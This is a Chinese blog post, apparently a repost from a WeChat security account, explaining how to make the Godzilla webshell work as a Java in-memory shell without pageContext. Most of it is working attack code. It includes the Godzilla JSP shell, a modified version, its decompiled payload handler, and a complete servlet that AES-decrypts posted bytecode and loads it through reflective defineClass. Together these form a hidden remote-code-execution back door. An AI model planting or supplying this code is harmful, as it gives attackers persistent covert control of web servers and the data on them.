前言
注入内存马借助当前的webshell工具而言，冰蝎可以通过创建hashmap放入request、response、session替换pagecontext来解决
HttpSession session = lastRequest.getSession();pageContext.put("request", lastRequest);pageContext.put("response", lastResponse);pageContext.put("session", session);
能这么写的原因是因为冰蝎做了处理
会从传入的obj中分别取到request、response、session。
而哥斯拉没有这么做，如何破局？
哥斯拉连接分析
哥斯拉是基于动态加载class字节码实现的webshell工具。
先看一下jsp的shell
<%! String xc = "3c6e0b8a9c15224a";String pass = "pass";String md5 = md5(pass + xc);class X extends ClassLoader {public X(ClassLoader z) {super(z);}public Class Q(byte[] cb) {return super.defineClass(cb, 0, cb.length);}}....省略加密解密的函数....%><%try {byte[] data = base64Decode(request.getParameter(pass));data = x(data, false);if (session.getAttribute("payload") == null) {session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));} else {request.setAttribute("parameters", data);java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0, 16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));}} catch (Exception e) {}%>
先判断session中payload是否为空，如果为空就用classloader加载解密之后的字节码data。
如果不为空将data赋值到session的parameters参数，然后从session中拿到定义的payload类，创建实例再进行了两次equals和一次tostring，两次equals分别传入ByteArrayOutputStream和pageContext。
通过bp代理看一下“测试连接”的过程
点完测试连接后bp多了两个请求
再点success的确定按钮后又多了一个请求。
一共三个请求，这三个请求分别干了什么？
为了调试，我们需要反编译哥斯拉源码找到godzillashellspayloadsjavaassetspayload.classs文件，反编译回来后在idea项目中创建一个payload类，将源码粘贴进去。另外还需要关闭idea的自动tostring。
然后修改jsp让其加载我们自己的payload.class而非从session中加载
<%try {byte[] data = base64Decode(request.getParameter(pass));data = x(data, false);if (session.getAttribute("payload") == null) {session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));} else {request.setAttribute("parameters", data);java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();Object f = ((Class) Class.forName("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0, 16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));}} catch (Exception e) {}%>
payload类结构
payload类是哥斯拉的功能实现类，其中有多个函数比如文件操作、命令执行等功能实现
而入口在equals()函数
handle()是真正的逻辑，noLog是不记录tomcat连接日志的函数。进入handle看下
public boolean handle(Object obj) {if (obj == null) {return false;} else {Class streamClazz = ByteArrayOutputStreamClazz;if (streamClazz == null) {try {streamClazz = Class.forName("java.io.ByteArrayOutputStream");} catch (ClassNotFoundException var7) {throw new NoClassDefFoundError(var7.getMessage());}ByteArrayOutputStreamClazz = streamClazz;}if (streamClazz.isAssignableFrom(obj.getClass())) {this.outputStream = (ByteArrayOutputStream) obj;return false;} else {if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {this.servletRequest = obj;} else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {this.servletRequest = obj;} else {streamClazz = byteArrayClazz;if (streamClazz == null) {try {streamClazz = Class.forName("[B");} catch (ClassNotFoundException var6) {throw new NoClassDefFoundError(var6.getMessage());}byteArrayClazz = streamClazz;}if (streamClazz.isAssignableFrom(obj.getClass())) {this.requestData = (byte[]) obj;} else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {this.httpSession = obj;}}this.handlePayloadContext(obj);if (this.servletRequest != null && this.requestData == null) {Object var10001 = this.servletRequest;Class[] var10003 = new Class[1];Class var10006 = stringClazz;if (var10006 == null) {try {var10006 = Class.forName("java.lang.String");} catch (ClassNotFoundException var5) {throw new NoClassDefFoundError(var5.getMessage());}stringClazz = var10006;}var10003[0] = var10006;Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});if (retVObject != null) {streamClazz = byteArrayClazz;if (streamClazz == null) {try {streamClazz = Class.forName("[B");} catch (ClassNotFoundException var4) {throw new NoClassDefFoundError(var4.getMessage());}byteArrayClazz = streamClazz;}if (streamClazz.isAssignableFrom(retVObject.getClass())) {this.requestData = (byte[]) retVObject;}}}return true;}}}
分段来看，第一次equals的时候传入的是ByteArrayOutputStream实例
将其赋值给this.outputStream，this.outputStream是输出流，存储了response内容。
第二段equals的是pagecontext
先填充request，然后判断是否是session，如果是字节数组则说明是post参数 this.requestData = (byte[]) obj; 如果是HttpSession实例则放入this.httpSession
接着handlePayloadContext()填充request上下文和session
然后调用session.getAttribute("parameters")拿到requestData
第三段是toString
initSessionMap()初始化一个sessionMap放一些信息，然后formatParameter格式化参数map，然后this.run()
在formatParameter()函数中向参数map中放键值对
给他打印出来看一看，bp三个请求打印了两个键值对
第一个请求是加载class字节码的，然后第二个第三个请求时调用字节码功能，通过methodName来调用。接着run()完之后写输出。
那么请求流程就到这里，接下来看如何解决
解决pagecontext
上文讲到，requestData是post body，我们传入pagecontext的目的是为了通过session拿到parameters，那么如果我们抛弃session，直接把parameters通过equals函数传给payload类呢？
bp第一个请求是加载字节码，我们通过defClass加载进去，然后第二个请求分为四个阶段
1.equals传入ByteArrayOutputStream实例填充outputStream2.equals传递解码之后的data填充requestData3.equals传递HttpServletRequest填充request4.toString写response输出结果
而在第二阶段正是因为在payload#handle()中这段代码的出现解决了pagecontext
完整代码
package com.example.demo3;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;(name = "helloServlet", value = "/hello")public class HelloServlet extends HttpServlet {String xc = "3c6e0b8a9c15224a";String pass = "pass";String md5 = md5(pass + xc);Class payload;public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret;}public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});} catch (Exception e) {try {base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});} catch (Exception e2) {}}return value;}public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});} catch (Exception e) {try {base64 = Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});} catch (Exception e2) {}}return value;}public byte[] x(byte[] s, boolean m) {try {javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s);} catch (Exception e) {return null;}}public Class defClass(byte[] classBytes) throws Throwable {URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);defMethod.setAccessible(true);return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);}protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {try {byte[] data = base64Decode(req.getParameter(pass));data = x(data, false);if (payload == null) {payload = defClass(data);} else {java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();Object f = payload.newInstance();f.equals(arrOut);f.equals(data);f.equals(req);resp.getWriter().write(md5.substring(0, 16));f.toString();resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));resp.getWriter().write(md5.substring(16));}} catch (Throwable e) {}}}
文末
其实完整代码还是北辰发我的，我只是探究了一下其原因，这种pagecontext的问题还是得深入看工具的功能实现才能解决问题。
另外自己在写冰蝎内存马的时候遇到了包装类的问题，而哥斯拉不存在这个问题。因为哥斯拉是通过参数传递的payload，而冰蝎是直接把字节码放在了body中。
只能说哥斯拉yyds!
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原文始发于微信公众号（ChaBug）：解决哥斯拉内存马pagecontext的问题
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